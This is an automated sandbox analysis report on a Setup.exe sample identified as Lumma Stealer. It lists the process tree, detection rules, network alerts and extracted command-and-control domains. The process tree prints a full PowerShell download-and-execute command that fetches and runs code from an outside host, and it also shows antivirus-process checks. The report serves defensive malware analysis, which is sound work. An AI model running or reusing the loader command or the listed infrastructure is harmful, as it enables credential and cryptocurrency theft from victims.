Windows
Analysis Report
Setup.exe
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
- System is w10x64
- Setup.exe (PID: 7316 cmdline:
"C:\Users\ user\Deskt op\Setup.e xe" MD5: F24FCF422C2611892A30ADF91D85F556) - powershell.exe (PID: 7640 cmdline:
powershell -exec byp ass [Net.s ervicepOIN TmANaGer]: :SEcURiTyP rOtoCOl = [Net.SecUr iTyprOtoco ltYPe]::tL s12; $gD=' https://df gh.online/ invoker.ph p?compName ='+$env:co mputername ; $pTSr = iWr -uRi $ gD -uSebAS IcpARsiNg -UsErAGent 'Mozilla/ 5.0 (Windo ws NT 10.0 ; Win64; x 64) AppleW ebKit/57.3 6 (KHTML, like Gecko ) Chrome/1 2.0.0.0 Sa fari/57.36 '; IEx $Pt sr.Content ; Fg MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7648 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WPNMSIA79IRF0S6IHRZ7TIDHI.exe (PID: 7868 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\WPNMSI A79IRF0S6I HRZ7TIDHI. exe" MD5: 51F99EDDD33CC04FB0F55F873B76D907) - WPNMSIA79IRF0S6IHRZ7TIDHI.tmp (PID: 7900 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\is-LJ1 A5.tmp\WPN MSIA79IRF0 S6IHRZ7TID HI.tmp" /S L5="$20460 ,7785838,8 45824,C:\U sers\user\ AppData\Lo cal\Temp\W PNMSIA79IR F0S6IHRZ7T IDHI.exe" MD5: F809F51E678B7F2E388F8C969EF902C8) - WPNMSIA79IRF0S6IHRZ7TIDHI.exe (PID: 7976 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\WPNMSI A79IRF0S6I HRZ7TIDHI. exe" /VERY SILENT MD5: 51F99EDDD33CC04FB0F55F873B76D907) - WPNMSIA79IRF0S6IHRZ7TIDHI.tmp (PID: 7996 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\is-Q2J 7A.tmp\WPN MSIA79IRF0 S6IHRZ7TID HI.tmp" /S L5="$B0060 ,7785838,8 45824,C:\U sers\user\ AppData\Lo cal\Temp\W PNMSIA79IR F0S6IHRZ7T IDHI.exe" /VERYSILEN T MD5: F809F51E678B7F2E388F8C969EF902C8) - timeout.exe (PID: 8092 cmdline:
"timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6) - conhost.exe (PID: 8104 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 1880 cmdline:
"cmd.exe" /C tasklis t /FI "IMA GENAME eq wrsa.exe" /FO CSV /N H | find / I "wrsa.ex e" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5924 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 4180 cmdline:
tasklist / FI "IMAGEN AME eq wrs a.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - find.exe (PID: 3604 cmdline:
find /I "w rsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 3704 cmdline:
"cmd.exe" /C tasklis t /FI "IMA GENAME eq opssvc.exe " /FO CSV /NH | find /I "opssv c.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6064 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 6096 cmdline:
tasklist / FI "IMAGEN AME eq ops svc.exe" / FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - find.exe (PID: 7212 cmdline:
find /I "o pssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 1344 cmdline:
"cmd.exe" /C tasklis t /FI "IMA GENAME eq avastui.ex e" /FO CSV /NH | fin d /I "avas tui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 3336 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7308 cmdline:
tasklist / FI "IMAGEN AME eq ava stui.exe" /FO CSV /N H MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - find.exe (PID: 1516 cmdline:
find /I "a vastui.exe " MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 6676 cmdline:
"cmd.exe" /C tasklis t /FI "IMA GENAME eq avgui.exe" /FO CSV / NH | find /I "avgui. exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7376 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 332 cmdline:
tasklist / FI "IMAGEN AME eq avg ui.exe" /F O CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - find.exe (PID: 5816 cmdline:
find /I "a vgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 7424 cmdline:
"cmd.exe" /C tasklis t /FI "IMA GENAME eq nswscsvc.e xe" /FO CS V /NH | fi nd /I "nsw scsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2816 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 2488 cmdline:
tasklist / FI "IMAGEN AME eq nsw scsvc.exe" /FO CSV / NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - find.exe (PID: 5600 cmdline:
find /I "n swscsvc.ex e" MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 2656 cmdline:
"cmd.exe" /C tasklis t /FI "IMA GENAME eq sophosheal th.exe" /F O CSV /NH | find /I "sophoshea lth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5568 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7556 cmdline:
tasklist / FI "IMAGEN AME eq sop hoshealth. exe" /FO C SV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - find.exe (PID: 2992 cmdline:
find /I "s ophoshealt h.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - BrightLib.exe (PID: 7628 cmdline:
"C:\Users\ user\AppDa ta\Roaming \ColorStre amLib\Brig htLib.exe" MD5: 6A8860A8150021B2D5B9BB707DE4FA37)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Lumma Stealer, LummaC2 Stealer | Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. | No Attribution |
{"C2 url": ["tirepublicerj.shop", "nearycrepso.shop", "abberanteusz.click", "abruptyopsn.shop", "cloudewahsj.shop", "framekgirus.shop", "wholersorie.shop", "rabidcowse.shop", "noisycuttej.shop"], "Build id": "hRjzG3--GAS"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_LummaCStealer_3 | Yara detected LummaC Stealer | Joe Security | ||
JoeSecurity_LummaCStealer_2 | Yara detected LummaC Stealer | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_LummaCStealer_4 | Yara detected LummaC Stealer | Joe Security | ||
Windows_Trojan_Donutloader_f40e3759 | unknown | unknown |
| |
JoeSecurity_LummaCStealer_3 | Yara detected LummaC Stealer | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Click to see the 2 entries |
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): |
Source: | Author: frack113: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-01T19:04:08.344709+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49730 | 172.67.198.102 | 443 | TCP |
2025-01-01T19:04:09.311045+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49731 | 172.67.198.102 | 443 | TCP |
2025-01-01T19:04:11.270377+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49732 | 172.67.198.102 | 443 | TCP |
2025-01-01T19:04:12.448901+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49733 | 172.67.198.102 | 443 | TCP |
2025-01-01T19:04:14.278008+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49735 | 172.67.198.102 | 443 | TCP |
2025-01-01T19:04:15.682517+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49739 | 172.67.198.102 | 443 | TCP |
2025-01-01T19:04:17.006219+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49741 | 172.67.198.102 | 443 | TCP |
2025-01-01T19:04:18.066412+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49743 | 172.67.198.102 | 443 | TCP |
2025-01-01T19:04:19.451220+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49744 | 185.161.251.21 | 443 | TCP |
2025-01-01T19:04:20.291151+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49745 | 104.21.37.128 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-01T19:04:08.816400+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 49730 | 172.67.198.102 | 443 | TCP |
2025-01-01T19:04:09.783359+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 49731 | 172.67.198.102 | 443 | TCP |
2025-01-01T19:04:18.594781+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 49743 | 172.67.198.102 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-01T19:04:08.816400+0100 | 2049836 | 1 | A Network Trojan was detected | 192.168.2.4 | 49730 | 172.67.198.102 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-01T19:04:09.783359+0100 | 2049812 | 1 | A Network Trojan was detected | 192.168.2.4 | 49731 | 172.67.198.102 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-01T19:04:20.680174+0100 | 2008438 | 1 | A Network Trojan was detected | 104.21.37.128 | 443 | 192.168.2.4 | 49745 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-01T19:04:17.558778+0100 | 2048094 | 1 | Malware Command and Control Activity Detected | 192.168.2.4 | 49741 | 172.67.198.102 | 443 | TCP |
Click to jump to signature section
AV Detection |
---|
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: |
Source: | Malware Configuration Extractor: |
Source: | ReversingLabs: |
Source: | Virustotal: | Perma Link | ||
Source: | ReversingLabs: |
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: |
Source: | Static PE information: |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: |
Source: | Code function: | 0_2_0204A20E | |
Source: | Code function: | 0_2_0204A232 | |
Source: | Code function: | 0_2_02037247 | |
Source: | Code function: | 0_2_02037256 | |
Source: | Code function: | 0_2_02063296 | |
Source: | Code function: | 0_2_0203BAB6 | |
Source: | Code function: | 0_2_0203BAB6 | |
Source: | Code function: | 0_2_0203BAB6 | |
Source: | Code function: | 0_2_0203DAE3 | |
Source: | Code function: | 0_2_02036AE9 | |
Source: | Code function: | 0_2_02047B61 | |
Source: | Code function: | 0_2_0204CB76 | |
Source: | Code function: | 0_2_02046B96 | |
Source: | Code function: | 0_2_02046B96 | |
Source: | Code function: | 0_2_02028BE6 | |
Source: | Code function: | 0_2_0203D073 | |
Source: | Code function: | 0_2_02045095 | |
Source: | Code function: | 0_2_02044896 | |
Source: | Code function: | 0_2_020628A6 | |
Source: | Code function: | 0_2_020370CA | |
Source: | Code function: | 0_2_0203B0E4 | |
Source: | Code function: | 0_2_0204A928 | |
Source: | Code function: | 0_2_02063166 | |
Source: | Code function: | 0_2_02037972 | |
Source: | Code function: | 0_2_0204517D | |
Source: | Code function: | 0_2_0205C1A6 | |
Source: | Code function: | 0_2_0204C9C6 | |
Source: | Code function: | 0_2_020491D5 | |
Source: | Code function: | 0_2_0205B1D6 | |
Source: | Code function: | 0_2_0205B1D6 | |
Source: | Code function: | 0_2_0203E652 | |
Source: | Code function: | 0_2_0203E652 | |
Source: | Code function: | 0_2_0203E652 | |
Source: | Code function: | 0_2_0203E652 | |
Source: | Code function: | 0_2_0203E652 | |
Source: | Code function: | 0_2_0204C671 | |
Source: | Code function: | 0_2_02036E83 | |
Source: | Code function: | 0_2_02061EA6 | |
Source: | Code function: | 0_2_0204A6B0 | |
Source: | Code function: | 0_2_0202CEBB | |
Source: | Code function: | 0_2_02062F36 | |
Source: | Code function: | 0_2_02047756 | |
Source: | Code function: | 0_2_02048786 | |
Source: | Code function: | 0_2_020486F9 | |
Source: | Code function: | 0_2_02049F9F | |
Source: | Code function: | 0_2_0204BFB6 | |
Source: | Code function: | 0_2_020387C7 | |
Source: | Code function: | 0_2_0202EFE0 | |
Source: | Code function: | 0_2_0204AC6B | |
Source: | Code function: | 0_2_0205BC76 | |
Source: | Code function: | 0_2_0205BC76 | |
Source: | Code function: | 0_2_020444F6 | |
Source: | Code function: | 0_2_0204851D | |
Source: | Code function: | 0_2_0203F53C | |
Source: | Code function: | 0_2_0203ED45 | |
Source: | Code function: | 0_2_0203ED45 | |
Source: | Code function: | 0_2_02030548 | |
Source: | Code function: | 0_2_0205ED66 | |
Source: | Code function: | 0_2_0205ED66 | |
Source: | Code function: | 0_2_0205ED66 | |
Source: | Code function: | 0_2_02044D96 | |
Source: | Code function: | 0_2_02044D96 | |
Source: | Code function: | 0_2_0202D5AC | |
Source: | Code function: | 0_2_020385CF |
Networking |
---|
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: |
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: |
Source: | IP Address: | ||
Source: | IP Address: |
Source: | ASN Name: |
Source: | JA3 fingerprint: |
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: |
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: |
Source: | UDP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: |
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: |
Source: | DNS traffic detected: | ||
Source: | DNS traffic detected: | ||
Source: | DNS traffic detected: | ||
Source: | DNS traffic detected: |
Source: | HTTP traffic detected: |
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: |
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: | ||
Source: | Network traffic detected: |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
System Summary |
---|
Source: | Matched rule: |
Source: | Window found: |
Source: | Code function: | 0_2_02070369 |
Source: | Code function: | 0_2_02070369 | |
Source: | Code function: | 0_2_020203A9 | |
Source: | Code function: | 0_2_0202A206 | |
Source: | Code function: | 0_2_02049217 | |
Source: | Code function: | 0_2_02062246 | |
Source: | Code function: | 0_2_0204BA76 | |
Source: | Code function: | 0_2_0203BAB6 | |
Source: | Code function: | 0_2_020402E6 | |
Source: | Code function: | 0_2_0203E2FD | |
Source: | Code function: | 0_2_0202F30E | |
Source: | Code function: | 0_2_02025B16 | |
Source: | Code function: | 0_2_0202AB26 | |
Source: | Code function: | 0_2_0202C376 | |
Source: | Code function: | 0_2_02048BB6 | |
Source: | Code function: | 0_2_0203FBC6 | |
Source: | Code function: | 0_2_02028BE6 | |
Source: | Code function: | 0_2_0203A3FD | |
Source: | Code function: | 0_2_0202A836 | |
Source: | Code function: | 0_2_02044896 | |
Source: | Code function: | 0_2_020628A6 | |
Source: | Code function: | 0_2_020318CC | |
Source: | Code function: | 0_2_020480F6 | |
Source: | Code function: | 0_2_0203F8F6 | |
Source: | Code function: | 0_2_02027116 | |
Source: | Code function: | 0_2_0204A928 | |
Source: | Code function: | 0_2_0205A946 | |
Source: | Code function: | 0_2_02025166 | |
Source: | Code function: | 0_2_02037972 | |
Source: | Code function: | 0_2_02027976 | |
Source: | Code function: | 0_2_0204517D | |
Source: | Code function: | 0_2_0205B1D6 | |
Source: | Code function: | 0_2_02027E06 | |
Source: | Code function: | 0_2_0205AE26 | |
Source: | Code function: | 0_2_02030E4A | |
Source: | Code function: | 0_2_0203E652 | |
Source: | Code function: | 0_2_02033EC6 | |
Source: | Code function: | 0_2_020326DA | |
Source: | Code function: | 0_2_0202E742 | |
Source: | Code function: | 0_2_02041766 | |
Source: | Code function: | 0_2_0203A772 | |
Source: | Code function: | 0_2_02061FB6 | |
Source: | Code function: | 0_2_0203FFD6 | |
Source: | Code function: | 0_2_0203340C | |
Source: | Code function: | 0_2_02043C46 | |
Source: | Code function: | 0_2_0204AC6B | |
Source: | Code function: | 0_2_0205BC76 | |
Source: | Code function: | 0_2_02062546 | |
Source: | Code function: | 0_2_0203ED45 | |
Source: | Code function: | 0_2_02030548 | |
Source: | Code function: | 0_2_02040556 | |
Source: | Code function: | 0_2_0205ED66 | |
Source: | Code function: | 0_2_02045573 | |
Source: | Code function: | 0_2_02029D96 | |
Source: | Code function: | 0_2_0204B5B5 |
Source: | Dropped File: | ||
Source: | Dropped File: |
Source: | Code function: |
Source: | Static PE information: | ||
Source: | Static PE information: | ||
Source: | Static PE information: | ||
Source: | Static PE information: |
Source: | Static PE information: | ||
Source: | Static PE information: | ||
Source: | Static PE information: |
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: |
Source: | Static PE information: |
Source: | Matched rule: |
Source: | Classification label: |
Source: | Code function: | 0_2_02020AB9 |
Source: | File created: | Jump to behavior |
Source: | Mutant created: | ||
Source: | Mutant created: | ||
Source: | Mutant created: | ||
Source: | Mutant created: | ||
Source: | Mutant created: | ||
Source: | Mutant created: | ||
Source: | Mutant created: | ||
Source: | Mutant created: | ||
Source: | Mutant created: |
Source: | File created: | Jump to behavior |
Source: | Key opened: | Jump to behavior | ||
Source: | Key opened: | Jump to behavior | ||
Source: | Key opened: | Jump to behavior | ||
Source: | Key opened: | Jump to behavior | ||
Source: | Key opened: | Jump to behavior | ||
Source: | Key opened: | Jump to behavior | ||
Source: | Key opened: | Jump to behavior | ||
Source: | Key opened: | Jump to behavior | ||
Source: | Key opened: | Jump to behavior |
Source: | WMI Queries: | ||
Source: | WMI Queries: | ||
Source: | WMI Queries: | ||
Source: | WMI Queries: | ||
Source: | WMI Queries: | ||
Source: | WMI Queries: |
Source: | File read: | Jump to behavior |
Source: | Key opened: | Jump to behavior |
Source: | Key value created or modified: | Jump to behavior |
Source: | Binary or memory string: |
Source: | Virustotal: | ||
Source: | ReversingLabs: |
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: |
Source: | File read: | Jump to behavior |
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
